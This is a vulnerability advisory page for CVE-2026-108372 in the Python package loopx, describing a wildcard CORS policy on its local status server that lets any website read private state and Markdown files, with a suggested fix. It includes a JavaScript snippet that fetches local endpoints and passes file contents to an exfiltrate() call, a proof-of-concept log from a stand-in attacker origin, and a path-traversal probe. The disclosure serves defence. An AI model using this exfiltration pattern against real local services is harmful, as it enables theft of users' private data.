high

CVE-2026-108372

PyPI · loopx

Summary

LoopX serve-status permissive CORS policy exposes control-plane state and private Markdown files

Severity
high
EPSS
0.3% (p23)
CWE
CWE-346, CWE-942
Also known as
GHSA-vx2m-gpq4-8j5q
Published
2026-10-19
Updated
2026-10-19

Advisory details

Summary

loopx serve-status sends Access-Control-Allow-Origin: * on every response, including its unauthenticated GET routes. Because the endpoint is unauthenticated and bound to a fixed, well-known loopback port, any website the operator visits can read LoopX control-plane state and the contents of Markdown files inside every registered goal repo, using a plain fetch() with no user interaction.

The write endpoints are not affected — they are correctly Origin-checked. This report is strictly about the read paths.

Impact

While loopx serve-status is running, a page on any origin can run:

// no interaction, no preflight, no credentials needed
const s = await (await fetch('http://127.0.0.1:8766/status.json')).json();
for (const g of s.goals ?? []) {
  const m = await (await fetch(
    `http://127.0.0.1:8766/review-material?goal_id=${g.id}&path=design-notes.md`
  )).json();
  exfiltrate(m.content);
}

and read back:

docs/public-private-boundary.md classifies "local absolute paths", "task ids", "raw logs and metrics" and "active goal state that reveals current user context" as material that must stay private. All of it is currently readable by any origin.

Two things make this more than theoretical:

  1. Fixed default ports. 8765 (project) and 8766 (global) are hardcoded defaults, so an attacker page can simply try both — no discovery step needed.
  2. It is documented as a persistent service. docs/guides/getting-started.md documents loopx serve-status, and scripts/macos-dashboard-launchagent.sh installs a LaunchAgent that keeps serve-status --global-registry --port 8766 running after every login. For anyone following that guide, this is an always-on, machine-wide read surface.

I have graded this High on the basis of zero-interaction exfiltration of private local material from a persistent service. It is read-only and scope-limited, so if you read the exposure as lower I would not argue the point — you know your users' setups better than I do.

Location

loopx/status_server.py:136-146 — StatusRequestHandler._send_json():

def _send_json(self, payload: dict[str, Any], *, status: int = 200) -> None:
    ...
    self.send_header("Access-Control-Allow-Origin", "*")   # <-- line 142

_send_json is the single response path for all routes, so the wildcard is applied to /status.json, /review-material, /healthz, / and the dry-run POSTs alike. do_OPTIONS (:148-153) repeats it.

Confirmed present at main HEAD (b0c8e315, blob c9e53d1a) at the time of writing.

What is NOT affected (I checked, so you don't have to)

I tried to refute this before reporting. These controls all hold:

So the exposure is confined to: status JSON + Markdown under registered goal roots. That is still private material, but it is not arbitrary file read and it is not remote code execution.

Proof of concept

Run against an unmodified clone at HEAD, default flags (no write APIs enabled):

GET /healthz                 Origin: https://evil.example  -> 200  ACAO: '*'
GET /                        Origin: https://evil.example  -> 200  ACAO: '*'
GET /status.json             Origin: https://evil.example  -> 200  ACAO: '*'
GET /review-material?goal_id=victim-goal&path=internal-design-notes.md
                             Origin: https://evil.example  -> 200  ACAO: '*'
   content: "# Internal notes\n\nPROD_DB_HOST=db.internal.corp\nCONFIDENTIAL: ..."

The file content came back verbatim to a foreign origin. Matched controls from the same harness, with both write flags enabled (i.e. the configuration most favourable to the current design):

POST /reward/append                        Origin: https://evil.example -> 403 (origin check)
POST /control-plane/configure-goal/apply   Origin: https://evil.example -> 403 (origin check)
GET  /review-material  ../../../../etc/hostname                        -> 400 (traversal blocked)
GET  /review-material  <abs path outside roots>.md                     -> 400 (root check)
GET  /review-material  secrets.env                                     -> 400 (extension check)
GET  /status.json                          Origin: https://evil.example -> 200 ACAO '*'  <-- still readable

I am happy to send the exact harness script if it is useful; it is ~120 lines of stdlib Python and touches no file in the repo.

Suggested fix

You already have the right predicate in this file — is_loopback_origin(). The minimal fix is to stop emitting the wildcard and instead echo the request origin only when it passes that check:

def _send_json(self, payload: dict[str, Any], *, status: int = 200) -> None:
    body = json.dumps(payload, ensure_ascii=False, indent=2).encode("utf-8")
    self.send_response(status)
    self.send_header("Content-Type", "application/json; charset=utf-8")
    self.send_header("Content-Length", str(len(body)))
    self.send_header("Cache-Control", "no-store")
    origin = self.headers.get("Origin")
    if origin and is_loopback_origin(origin):
        self.send_header("Access-Control-Allow-Origin", origin)
        self.send_header("Vary", "Origin")
    # no Origin header (curl, the CLI, a same-origin fetch) -> send no ACAO at all
    self.end_headers()
    self.wfile.write(body)

and the same in do_OPTIONS. This keeps the dashboard working — it is served from http://127.0.0.1:5174 and fetches 127.0.0.1:8765/8766, which is cross-origin between two loopback ports, which I assume is exactly why the wildcard was added — while denying every non-loopback origin.

Two optional hardening steps, if you want them:

Scope of review

Reviewed 26/52 identified entrypoints across 758 files (360,618 LOC) of the loopx package and dashboard; tools: semgrep 1.172.0, trufflehog 3.96.0, osv-scanner 2.4.0, plus a manual dataflow pass.

References

Related advisories

Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.

Check my repo

Summarize with AI

ChatGPTClaudePerplexity

Sources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.